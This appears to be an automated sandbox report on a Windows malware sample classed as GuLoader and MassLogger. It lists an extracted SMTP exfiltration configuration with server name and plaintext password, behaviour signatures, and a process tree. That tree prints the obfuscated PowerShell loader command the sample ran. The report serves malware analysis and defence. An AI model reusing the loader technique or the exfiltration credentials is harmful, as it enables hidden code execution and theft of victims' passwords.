Analysis
- max time kernel
149s - max time network
145s - platform
windows10-2004_x64 - resource
win10v2004-20250619-en - resource tags
- submitted
09/10/2025, 17:25
General
- Target fbcbfa3bae2c721a8923ef296e7f7140d3035a2cf711ab3df4d948eba6226446.exe
- Size 1.1MB
- Sample251009-vzmbcsslw5
- SHA256 fbcbfa3bae2c721a8923ef296e7f7140d3035a2cf711ab3df4d948eba6226446
Malware Config
Extracted
-
masslogger
-
exfiltration_mode
#SMTPEnabled
-
expire_time_date
2025-02-19
-
host_password
LILKOOLL14!
-
host_port
587
- host_receiver
- host_sender
-
host_server
webmail.dongjln.com
-
ssl_slate
True
Signatures
- Guloader family
- Guloader,Cloudeye
A shellcode based downloader first seen in 2020.
- MassLogger
Masslogger is a .NET stealer targeting passwords from browsers, email and cryptocurrency clients.
- Masslogger family
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
- Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
- Badlisted process makes network request 3 IoCs
Network request originating from process or tool commonly abused by malware.
- Looks up external IP address via web service 3 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
- Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
- Drops file in Program Files directory 1 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- System Location Discovery: System Language Discovery 1 TTPs 3 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Suspicious behavior: EnumeratesProcesses 8 IoCs
- Suspicious behavior: MapViewOfSection 1 IoCs
- Suspicious use of AdjustPrivilegeToken 23 IoCs
- Suspicious use of WriteProcessMemory 7 IoCs
- outlook_office_path 1 IoCs
- outlook_win_path 1 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\fbcbfa3bae2c721a8923ef296e7f7140d3035a2cf711ab3df4d948eba6226446.exe"C:\Users\Admin\AppData\Local\Temp\fbcbfa3bae2c721a8923ef296e7f7140d3035a2cf711ab3df4d948eba6226446.exe"1⤵
- Checks computer location settings
- Drops file in Program Files directory
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" " $Normalisers=cat -raw 'C:\Users\Admin\AppData\Local\Roesukkerets23\raught\Aestheticist243.Tet';$Kommunikationsprotokollerne=$Normalisers.substring(82427,3);$Fountainlike++; .$Kommunikationsprotokollerne($Normalisers)"2⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\msiexec.exe"C:\Windows\SysWOW64\msiexec.exe"3⤵
- Accesses Microsoft Outlook profiles
- Badlisted process makes network request
- Suspicious use of NtCreateThreadExHideFromDebugger
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- outlook_office_path
- outlook_win_path
-
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
Aestheticist243.Tet
Byggetekniker.Bur
__PSScriptPolicyTest_rd1pddxl.yeg.ps1
memory/5112-80-0x0000000001D20000-0x0000000002BCF000-memory.dmp
memory/5112-81-0x0000000000AC0000-0x0000000001D14000-memory.dmp
memory/5112-89-0x0000000021600000-0x000000002160A000-memory.dmp
memory/5112-88-0x00000000217A0000-0x0000000021962000-memory.dmp
memory/5112-87-0x0000000001D20000-0x0000000002BCF000-memory.dmp
memory/5112-85-0x0000000020E20000-0x0000000020E70000-memory.dmp
memory/5112-84-0x0000000021430000-0x00000000214C2000-memory.dmp
memory/5112-83-0x0000000020970000-0x0000000020A0C000-memory.dmp
memory/5112-82-0x0000000000AC0000-0x0000000000ADE000-memory.dmp
memory/5560-59-0x0000000007480000-0x0000000007523000-memory.dmp
memory/5560-66-0x0000000007D80000-0x0000000007DAA000-memory.dmp
memory/5560-39-0x0000000006030000-0x000000000607C000-memory.dmp
memory/5560-40-0x0000000006FC0000-0x0000000007056000-memory.dmp
memory/5560-41-0x0000000006520000-0x000000000653A000-memory.dmp
memory/5560-42-0x0000000006570000-0x0000000006592000-memory.dmp
memory/5560-43-0x0000000007660000-0x0000000007C04000-memory.dmp
memory/5560-45-0x0000000008290000-0x000000000890A000-memory.dmp
memory/5560-46-0x000000007EEE0000-0x000000007EEF0000-memory.dmp
memory/5560-47-0x0000000007410000-0x0000000007442000-memory.dmp
memory/5560-48-0x000000006FEF0000-0x000000006FF3C000-memory.dmp
memory/5560-58-0x0000000007450000-0x000000000746E000-memory.dmp
memory/5560-57-0x0000000002710000-0x0000000002720000-memory.dmp
memory/5560-56-0x0000000002710000-0x0000000002720000-memory.dmp
memory/5560-37-0x0000000005A00000-0x0000000005D54000-memory.dmp
memory/5560-60-0x0000000007580000-0x000000000758A000-memory.dmp
memory/5560-61-0x00000000075A0000-0x00000000075B1000-memory.dmp
memory/5560-62-0x00000000075F0000-0x00000000075FE000-memory.dmp
memory/5560-63-0x0000000007600000-0x0000000007614000-memory.dmp
memory/5560-64-0x0000000007640000-0x000000000765A000-memory.dmp
memory/5560-65-0x0000000007630000-0x0000000007638000-memory.dmp
memory/5560-38-0x0000000005FF0000-0x000000000600E000-memory.dmp
memory/5560-67-0x0000000007DB0000-0x0000000007DD4000-memory.dmp
memory/5560-68-0x0000000002710000-0x0000000002720000-memory.dmp
memory/5560-69-0x0000000002710000-0x0000000002720000-memory.dmp
memory/5560-72-0x0000000007E90000-0x0000000007E92000-memory.dmp
memory/5560-71-0x0000000002710000-0x0000000002720000-memory.dmp
memory/5560-73-0x0000000008910000-0x00000000097BF000-memory.dmp
memory/5560-74-0x0000000008910000-0x00000000097BF000-memory.dmp
memory/5560-75-0x000000007EEE0000-0x000000007EEF0000-memory.dmp
memory/5560-76-0x0000000002710000-0x0000000002720000-memory.dmp
memory/5560-77-0x0000000002710000-0x0000000002720000-memory.dmp
memory/5560-28-0x0000000005920000-0x0000000005986000-memory.dmp
memory/5560-29-0x0000000005990000-0x00000000059F6000-memory.dmp
memory/5560-27-0x0000000005050000-0x0000000005072000-memory.dmp
memory/5560-26-0x0000000005180000-0x00000000057A8000-memory.dmp
memory/5560-25-0x0000000002710000-0x0000000002720000-memory.dmp
memory/5560-23-0x0000000002710000-0x0000000002720000-memory.dmp
memory/5560-24-0x00000000026D0000-0x0000000002706000-memory.dmp
memory/5560-78-0x0000000002710000-0x0000000002720000-memory.dmp
memory/5560-79-0x0000000008910000-0x00000000097BF000-memory.dmp